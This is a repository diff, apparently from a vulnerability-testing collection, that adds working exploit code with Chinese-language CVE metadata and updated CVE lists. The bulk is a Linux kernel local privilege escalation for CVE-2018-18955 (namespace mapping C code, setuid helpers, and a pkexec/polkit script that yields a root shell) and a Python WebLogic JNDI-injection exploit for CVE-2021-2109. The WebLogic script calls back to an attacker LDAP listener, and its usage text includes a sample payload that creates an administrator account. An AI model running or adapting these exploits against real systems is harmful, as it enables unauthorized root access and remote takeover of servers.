echo "cp ${policy} /usr/share/polkit-1/actions/${policy}" | ./subuid_shell ./subshell
if ! test -r "/usr/share/polkit-1/actions/${policy}"; then
echo '[-] Failed'
/bin/rm "${rootshell}"
exit 1
fi
echo "[*] Launching pkexec..."
/usr/bin/pkexec --disable-internal-agent 2>/dev/null /bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}"
if ! test -u "${rootshell}"; then
echo '[-] Failed'
/bin/rm "${rootshell}"
exit 1
fi
echo '[+] Success:'
/bin/ls -la "${rootshell}"
echo '[*] Cleaning up...'
/bin/rm subuid_shell
/bin/rm subshell
/bin/rm "${policy}"
echo "/bin/rm /usr/share/polkit-1/actions/${policy}" | $rootshell
echo "[*] Launching root shell: ${rootshell}"
$rootshell

View File

@ -0,0 +1,14 @@
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
void init(void) __attribute__((constructor));
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
unlink("/etc/ld.so.preload");
system("chown root:root /tmp/sh");
system("chmod u+s /tmp/sh");
_exit(0);
}

View File

@ -0,0 +1,9 @@
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
}

View File

@ -0,0 +1,98 @@
// subshell.c
// author: Jann Horn
// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
#define _GNU_SOURCE
#include <unistd.h>
#include <grp.h>
#include <err.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sched.h>
#include <sys/wait.h>
int main() {
int sync_pipe[2];
char dummy;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
err(1, "pipe");
}
pid_t child = fork();
if (child == -1) {
err(1, "fork");
}
if (child == 0) {
close(sync_pipe[1]);
if (unshare(CLONE_NEWUSER)) {
err(1, "unshare userns");
}
if (write(sync_pipe[0], "X", 1) != 1) {
err(1, "write to sock");
}
if (read(sync_pipe[0], &dummy, 1) != 1) {
err(1, "read from sock");
}
execl("/bin/bash", "bash", NULL);
err(1, "exec");
}
close(sync_pipe[0]);
if (read(sync_pipe[1], &dummy, 1) != 1) {
err(1, "read from sock");
}
char pbuf[100];
sprintf(pbuf, "/proc/%d", (int)child);
if (chdir(pbuf)) {
err(1, "chdir");
}
const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
int uid_map = open("uid_map", O_WRONLY);
if (uid_map == -1) {
err(1, "open uid map");
}
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) {
err(1, "write uid map");
}
close(uid_map);
int gid_map = open("gid_map", O_WRONLY);
if (gid_map == -1) {
err(1, "open gid map");
}
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) {
err(1, "write gid map");
}
close(gid_map);
if (write(sync_pipe[1], "X", 1) != 1) {
err(1, "write to sock");
}
int status;
if (wait(&status) != child) {
err(1, "wait");
}
return 0;
}

View File

@ -0,0 +1,322 @@
// subuid_shell.c - Linux local root exploit for CVE-2018-18955
// Exploits broken uid/gid mapping in nested user namespaces.
// ---
// Mostly stolen from Jann Horn's exploit:
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
// Some code stolen from Xairy's exploits:
// - https://github.com/xairy/kernel-exploits
// ---
// <bcoles@gmail.com>
// - added auto subordinate id mapping
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <grp.h>
#include <pwd.h>
#include <sched.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/prctl.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
char* SUBSHELL = "./subshell";
// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(
const char* file,
char* buffer,
int max_length
) {
int f = open(file, O_RDONLY);
if (f == -1) {
return -1;
}
int bytes_read = 0;
while (1) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read) {
bytes_to_read = max_length - bytes_read;
}
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1) {
return -1;
}
bytes_read += rv;
if (rv == 0) {
return bytes_read;
}
}
}
static int write_file(
const char* file,
const char* what,
...
) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1) {
return -1;
}
if (write(fd, buf, len) != len) {
close(fd);
return -1;
}
close(fd);
return 0;
}
// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *
int get_subuid(
char* output,
int max_length
) {
char buffer[1024];
char* path = "/etc/subuid";
int length = read_file(path, &buffer[0], sizeof(buffer));
if (length == -1) {
return -1;
}
int real_uid = getuid();
struct passwd *u = getpwuid(real_uid);
char needle[1024];
sprintf(needle, "%s:", u->pw_name);
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
return -1;
}
for (int i = 0; found[needle_length + i] != ':'; i++) {
if (
i >= max_length
|| ((found - &buffer[0]) + needle_length + i >= length)
) {
return -1;
}
output[i] = found[needle_length + i];
}
return 0;
}
int get_subgid(
char* output,
int max_length
) {
char buffer[1024];
char* path = "/etc/subgid";
int length = read_file(path, &buffer[0], sizeof(buffer));
if (length == -1) {
return -1;
}
char needle[1024];
int real_gid = getgid();
struct group *g = getgrgid(real_gid);
sprintf(needle, "%s:", g->gr_name);
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
return -1;
}
for (int i = 0; found[needle_length + i] != ':'; i++) {
if (
i >= max_length
|| ((found - &buffer[0]) + needle_length + i >= length)
) {
return -1;
}
output[i] = found[needle_length + i];
}
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int main(int argc, char** argv) {
if (argc > 1) {
SUBSHELL = argv[1];
}
dprintf("[.] starting\n");
dprintf("[.] setting up namespace\n");
int sync_pipe[2];
char dummy;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
dprintf("[-] pipe\n");
exit(EXIT_FAILURE);
}
pid_t child = fork();
if (child == -1) {
dprintf("[-] fork");
exit(EXIT_FAILURE);
}
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
close(sync_pipe[1]);
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWNET)\n");
exit(EXIT_FAILURE);
}
if (write(sync_pipe[0], "X", 1) != 1) {
dprintf("write to sock\n");
exit(EXIT_FAILURE);
}
if (read(sync_pipe[0], &dummy, 1) != 1) {
dprintf("[-] read from sock\n");
exit(EXIT_FAILURE);
}
if (setgid(0)) {
dprintf("[-] setgid");
exit(EXIT_FAILURE);
}
if (setuid(0)) {
printf("[-] setuid");
exit(EXIT_FAILURE);
}
execl(SUBSHELL, "", NULL);
dprintf("[-] executing subshell failed\n");
}
close(sync_pipe[0]);
if (read(sync_pipe[1], &dummy, 1) != 1) {
dprintf("[-] read from sock\n");
exit(EXIT_FAILURE);
}
char path[256];
sprintf(path, "/proc/%d/setgroups", (int)child);
if (write_file(path, "deny") == -1) {
dprintf("[-] denying setgroups failed\n");
exit(EXIT_FAILURE);
}
dprintf("[~] done, namespace sandbox set up\n");
dprintf("[.] mapping subordinate ids\n");
char subuid[64];
char subgid[64];
if (get_subuid(&subuid[0], sizeof(subuid))) {
dprintf("[-] couldn't find subuid map in /etc/subuid\n");
exit(EXIT_FAILURE);
}
if (get_subgid(&subgid[0], sizeof(subgid))) {
dprintf("[-] couldn't find subgid map in /etc/subgid\n");
exit(EXIT_FAILURE);
}
dprintf("[.] subuid: %s\n", subuid);
dprintf("[.] subgid: %s\n", subgid);
char cmd[256];
sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);
if (system(cmd)) {
dprintf("[-] newuidmap failed");
exit(EXIT_FAILURE);
}
sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);
if (system(cmd)) {
dprintf("[-] newgidmap failed");
exit(EXIT_FAILURE);
}
dprintf("[~] done, mapped subordinate ids\n");
dprintf("[.] executing subshell\n");
if (write(sync_pipe[1], "X", 1) != 1) {
dprintf("[-] write to sock");
exit(EXIT_FAILURE);
}
int status;
if (wait(&status) != child) {
dprintf("[-] wait");
exit(EXIT_FAILURE);
}
return 0;
}

View File

@ -0,0 +1,19 @@
id: CVE-2018-18955
source: https://github.com/scheatkode/CVE-2018-18955
info:
name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
severity: high
description: |
在Linux内核4.15.x至4.19.2之前kernel/user_namespace.c中的map_write()允许权限升级因为它错误地处理了有超过5个UID或GID范围的嵌套用户名称空间。在受影响的用户命名空间中拥有CAP_SYS_ADMIN的用户可以绕过对命名空间以外的资源的访问控制如阅读/etc/shadow。出现这种情况是因为ID转换在命名空间到内核的方向上正确进行但在内核到命名空间的方向上不正确。
scope-of-influence:
4.15.x <= Linux kernel < 4.19.2
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2018-18955
- https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2
cvss-metrics: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.0
cve-id: CVE-2018-18955
cwe-id: CWE-863
cnvd-id: None
kve-id: None
tags: RCE, 提权

View File

@ -0,0 +1,168 @@
import urllib.request, urllib.parse, http.cookiejar, ssl
import sys, os, optparse, subprocess, threading, time
## Static vars; change at will, but recommend leaving as is
sURL = 'http://192.168.0.100:7001'
iTimeout = 5
oRun = None
## Ignore unsigned certs, if any because WebLogic is default HTTP
ssl._create_default_https_context = ssl._create_unverified_context
class runJar(threading.Thread):
def __init__(self, sJarFile, sCMD, sAddress):
self.stdout = []
self.stderr = ''
self.cmd = sCMD
self.addr = sAddress
self.jarfile = sJarFile
self.proc = None
threading.Thread.__init__(self)
def run(self):
self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)
for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)
for line in iter(self.proc.stderr.readline, ''): self.stderr += line
def findJNDI():
sCurDir = os.getcwd()
sFile = ''
for file in os.listdir(sCurDir):
if 'JNDI' in file and '.jar' in file:
sFile = file
print('[+] Found and using ' + sFile)
return sFile
def findJAVA(bVerbose):
try:
oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
except:
exit('[-] Error: java not found, needed to run the JAR file\n Please make sure to have "java" in your path.')
sResult = list(oProc.stdout)[0].decode()
if bVerbose: print('[+] Found Java: ' + sResult)
def checkParams(options, args):
if args: sHost = args[0]
else:
sHost = input('[?] Please enter the URL ['+sURL+'] : ')
if sHost == '': sHost = sURL
if sHost[-1:] == '/': sHost = sHost[:-1]
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
if options.username: sUser = options.username
else:
sUser = input('[?] Username [weblogic] : ')
if sUser == '': sUser = 'weblogic'
if options.password: sPass = options.password
else:
sPass = input('[?] Password [Passw0rd-] : ')
if sPass == '': sPass = 'Passw0rd-'
if options.command: sCMD = options.command
else:
sCMD = input('[?] Command to run [calc] : ')
if sCMD == '': sCMD = 'calc'
if options.listenaddr: sLHOST = options.listenaddr
else:
sLHOST = input('[?] Local IP to connect back to [192.168.0.10] : ')
if sLHOST == '': sLHOST = '192.168.0.10'
if options.verbose: bVerbose = True
else: bVerbose = False
return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)
def startListener(sJarFile, sCMD, sAddress, bVerbose):
global oRun
oRun = runJar(sJarFile, sCMD, sAddress)
oRun.start()
print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')
oRun.join(3)
if not oRun.stderr == '':
exit('[-] Error starting Java listener:\n' + oRun.stderr)
bThisLine=False
if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')
for line in oRun.stdout:
if bThisLine: return line.split('/')[3].replace('\n','')
if 'JDK 1.8' in line: bThisLine = True
def endIt():
global oRun
print('[+] Closing threads')
if oRun: oRun.proc.terminate()
exit(0)
def main():
usage = (
'usage: %prog [options] URL \n'
' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'
' in the current working folder\n'
'Get it here: https://github.com/welk1n/JNDI-Injection-Exploit\n'
'Only works when hacker is reachable via an IPv4 address\n'
'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'
'Example: CVE-2021-2109.py -u weblogic -p Passw0rd -c calc -l 192.168.0.10 http://192.168.0.100:7001\n'
'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'
)
parser = optparse.OptionParser(usage=usage)
parser.add_option('--username', '-u', dest='username')
parser.add_option('--password', '-p', dest='password')
parser.add_option('--command', '-c', dest='command')
parser.add_option('--listen', '-l', dest='listenaddr')
parser.add_option('--verbose', '-v', dest='verbose', action="store_true", default=False)
## Get or ask for the vars
(options, args) = parser.parse_args()
(sHost, sUser, sPass, sCMD, sLHOST, bVerbose) = checkParams(options, args)
## Verify Java and JAR file
sJarFile = findJNDI()
findJAVA(bVerbose)
## Keep track of cookies between requests
cj = http.cookiejar.CookieJar()
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
print('[+] Verifying reachability')
## Get the cookie
oRequest = urllib.request.Request(url = sHost + '/console/')
oResponse = oOpener.open(oRequest, timeout = iTimeout)
for c in cj:
if c.name == 'ADMINCONSOLESESSION':
if bVerbose: print('[+] Got cookie "' + c.value + '"')
## Logging in
lData = {'j_username' : sUser, 'j_password' : sPass, 'j_character_encoding' : 'UTF-8'}
lHeaders = {'Referer' : sHost + '/console/login/LoginForm.jsp'}
oRequest = urllib.request.Request(url = sHost + '/console/j_security_check', data = urllib.parse.urlencode(lData).encode(), headers = lHeaders)
oResponse = oOpener.open(oRequest, timeout = iTimeout)
sResult = oResponse.read().decode(errors='ignore').split('\r\n')
bSuccess = True
for line in sResult:
if 'Authentication Denied' in line: bSuccess = False
if bSuccess: print('[+] Succesfully logged in!\n')
else: exit('[-] Authentication Denied')
## Launch the LDAP listener and retrieve the random endpoint value
sRandom = startListener(sJarFile, sCMD, sLHOST, bVerbose)
if bVerbose: print('[+] Got Java value: ' + sRandom)
## This is the actual vulnerability, retrieve LDAP data from victim which the runs on victim, it bypasses verification because IP is written as "127.0.0;1" instead of "127.0.0.1"
print('\n[+] Firing exploit now, hold on')
## http://192.168.0.100:7001/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/5r5mu7;AdminServer-)
sConvertedIP = sLHOST.split('.')[0] + '.' + sLHOST.split('.')[1] + '.' + sLHOST.split('.')[2] + ';' + sLHOST.split('.')[3]
sFullUrl = sHost + r'/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://' + sConvertedIP + ':1389/' + sRandom + r';AdminServer%22)'
if bVerbose: print('[!] Using URL ' + sFullUrl)
oRequest = urllib.request.Request(url = sFullUrl, headers = lHeaders)
oResponse = oOpener.open(oRequest, timeout = iTimeout)
time.sleep(5)
bExploitWorked = False
for line in oRun.stdout:
if 'Log a request' in line: bExploitWorked = True
if 'BypassByEl' in line: print('[-] Exploit failed, wrong SDK on victim')
if not bExploitWorked: print('[-] Exploit failed, victim likely patched')
else: print('[+] Victim vulnerable, exploit worked (could be as limited account!)')
if bVerbose: print(oRun.stderr)
endIt()
if __name__ == "__main__":
try: main()
except KeyboardInterrupt: endIt()

View File

@ -0,0 +1,20 @@
id: CVE-2021-2109
source: https://www.exploit-db.com/exploits/49461
info:
name: WebLogic是美国Oracle公司出品的一个application server是一个基于JAVAEE架构的中间件WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
severity: high
description: |
Oracle 融合中间件(组件:控制台)的 Oracle WebLogic Server 产品中的漏洞。受影响的受支持版本为 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。容易利用的漏洞允许具有通过 HTTP 进行网络访问的高特权攻击者破坏 Oracle WebLogic Server。成功攻击此漏洞可导致接管 Oracle WebLogic Server。
scope-of-influence:
weblogic 10.3.6.0.0, weblogic 12.1.3.0.0, weblogic 12.2.1.3.0, weblogic 12.2.1.4.0, weblogic 14.1.1.0.0
reference:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-2109
https://nvd.nist.gov/vuln/detail/CVE-2021-2109
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2021-2109
cwe-id: None
cnvd-id: None
kve-id: None
tags: cve2021, Weblogic

View File

@ -11,6 +11,7 @@ cve:
- CVE-2020-13932
apache-CouchDB:
- CVE-2022-24706
- CVE-2023-23638
apache-Dubbo:
- CVE-2021-43297
- CVE-2021-25641
@ -145,11 +146,15 @@ cve:
- CVE-2021-3517
- CVE-2021-3518
- CVE-2021-3537
django:
- CVE-2022-28346
- CVE-2021-31542
fortinac:
- CVE-2022-39952
redis:
- CVE-2022-31144
java-spring:
- CVE-2017-8046
- CVE-2020-5398
- CVE-2022-22965
- CVE-2022-22963
@ -163,6 +168,7 @@ cve:
Grafana:
- CVE-2021-43798
Froxlor:
- CVE-2021-42325
- CVE-2023-0315
cnvd:
apache-tomcat:

View File

@ -1,6 +1,7 @@
#此收录漏洞列表为非openKylin发行版用例。
cve:
linux-kernel:
- CVE-2017-1000112
- CVE-2019-16884
- CVE-2021-33909
- CVE-2021-3493
@ -12,6 +13,9 @@ cve:
- CVE-2021-33624
- CVE-2020-27194
- CVE-2023-0179
- CVE-2018-18955
- CVE-2011-4917
- CVE-2011-4916
polkit:
- CVE-2021-3560
Outlook:
@ -33,8 +37,9 @@ cve:
- CVE-2022-22978
apache-commons-text:
- CVE-2022-42889
apache-struts:
apache-Struts:
- CVE-2017-9805
- CVE-2018-11776
unzip:
- CVE-2022-0529
django:
@ -51,7 +56,12 @@ cve:
- CVE-2022-23131
weblogic:
- CVE-2022-2555
- CVE-2021-2109
Zyxel:
- CVE-2022-30525
WordPress:
- CVE-2019-8942
Zimbra:
- CVE-2022-41352
cnvd: